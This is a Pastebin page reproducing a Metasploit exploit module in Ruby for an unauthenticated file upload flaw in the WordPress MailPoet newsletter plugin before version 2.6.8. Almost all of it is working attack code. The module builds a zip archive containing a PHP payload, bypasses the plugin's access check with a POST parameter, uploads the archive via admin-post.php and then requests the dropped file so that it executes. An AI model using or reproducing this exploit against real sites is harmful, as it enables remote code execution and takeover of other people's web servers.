Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Overall:
- ##
- # This module requires Metasploit: http//metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- *
- require 'msf/core'
- *
- class Metasploit3 < Msf::Exploit::Remote
- **Rank = ExcellentRanking
- *
- **include Msf::HTTP::Wordpress
- **include Msf::Exploit::FileDropper
- *
- **def initialize(info = {})
- ****super(update_info(info,
- ******'Name'********** => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload',
- ******'Description'*** => %q{
- **********The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
- **********is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
- **********functionality to upload a zip file containing the payload. The plugin used the
- **********admin_init hook, which is also executed for unauthenticated users when accessing
- **********a specific URL. The developers tried to fix the vulnerablility
- **********in version 2.6.7 but the fix can be bypassed. In PHPs default configuration,
- **********a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
- **********uses $_REQUEST to check for access rights. By setting the POST parameter to
- **********something not beginning with 'wysija_', the check is bypassed. Wordpress uses
- **********the $_GET array to determine the page and is so not affected by this.
- ******},
- ******'Author'******** =>
- ********[
- **********'Marc-Alexandre Montpas', # initial discovery
- **********'Christian Mehlmauer'**** # metasploit module
- ********],
- ******'License'******* => MSF_LICENSE,
- ******'References'**** =>
- ********[
- **********[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ],
- **********[ 'URL', 'http://www.mailpoet.com/security-update-part-2/'],
- **********[ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
- ********],
- ******'Privileged'**** => false,
- ******'Platform'****** => ['php'],
- ******'Arch'********** => ARCH_PHP,
- ******'Targets'******* => [ ['wysija-newsletters < 2.6.8', {}] ],
- ******'DefaultTarget'* => 0,
- ******'DisclosureDate' => 'Jul 1 2014'))
- **end
- *
- **def create_zip_file(theme_name, payload_name)
- ****# the zip file must match the following:
- ****#* -) Exactly one folder representing the theme name
- ****#* -) A style.css in the theme folder
- ****#* -) Additional files in the folder
- *
- ****content = {
- ******::File.join(theme_name, 'style.css') => '',
- ******::File.join(theme_name, payload_name) => payload.encoded
- ****}
- *
- ****zip_file = Rex::Zip::Archive.new
- ****content.each_pair do |name, content|
- ******zip_file.add_file(name, content)
- ****end
- *
- ****zip_file.pack
- **end
- *
- **def check
- ****readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
- ****res = send_request_cgi({
- ******'uri'*** => readme_url,
- ******'method' => 'GET'
- ****})
- ****# no readme.txt present
- ****if res.nil? || res.code != 200
- ******return Msf::Exploit::CheckCode::Unknown
- ****end
- *
- ****# try to extract version from readme
- ****# Example line:
- ****# Stable tag: 2.6.6
- ****version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
- *
- ****# readme present, but no version number
- ****if version.nil?
- ******return Msf::Exploit::CheckCode::Detected
- ****end
- *
- ****print_status("#{peer} - Found version #{version} of the plugin")
- *
- ****if Gem::Version.new(version) < Gem::Version.new('2.6.8')
- ******return Msf::Exploit::CheckCode::Appears
- ****else
- ******return Msf::Exploit::CheckCode::Safe
- ****end
- **end
- *
- **def exploit
- ****theme_name = rand_text_alpha(10)
- ****payload_name = "#{rand_text_alpha(10)}.php"
- *
- ****zip_content = create_zip_file(theme_name, payload_name)
- *
- ****uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')
- *
- ****data = Rex::MIME::Message.new
- ****data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
- ****data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
- ****data.add_part('themeupload', nil, nil, 'form-data; name="action"')
- ****data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
- ****data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
- ****post_data = data.to_s
- *
- ****payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
- *
- ****print_status("#{peer} - Uploading payload to #{payload_uri}")
- ****res = send_request_cgi({
- ******'method'** => 'POST',
- ******'uri'***** => uri,
- ******'ctype'*** => "multipart/form-data; boundary=#{data.bound}",
- ******'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
- ******'data'**** => post_data
- ****})
- *
- ****if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
- ******fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
- ****end
- *
- ****# Files to cleanup (session is dropped in the created folder):
- ****#** style.css
- ****#** the payload
- ****#** the theme folder (manual cleanup)
- ****register_files_for_cleanup('style.css', payload_name)
- *
- ****print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")
- *
- ****print_status("#{peer} - Executing payload #{payload_uri}")
- ****res = send_request_cgi({
- ******'uri'*** => payload_uri,
- ******'method' => 'GET'
- ****})
- **end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement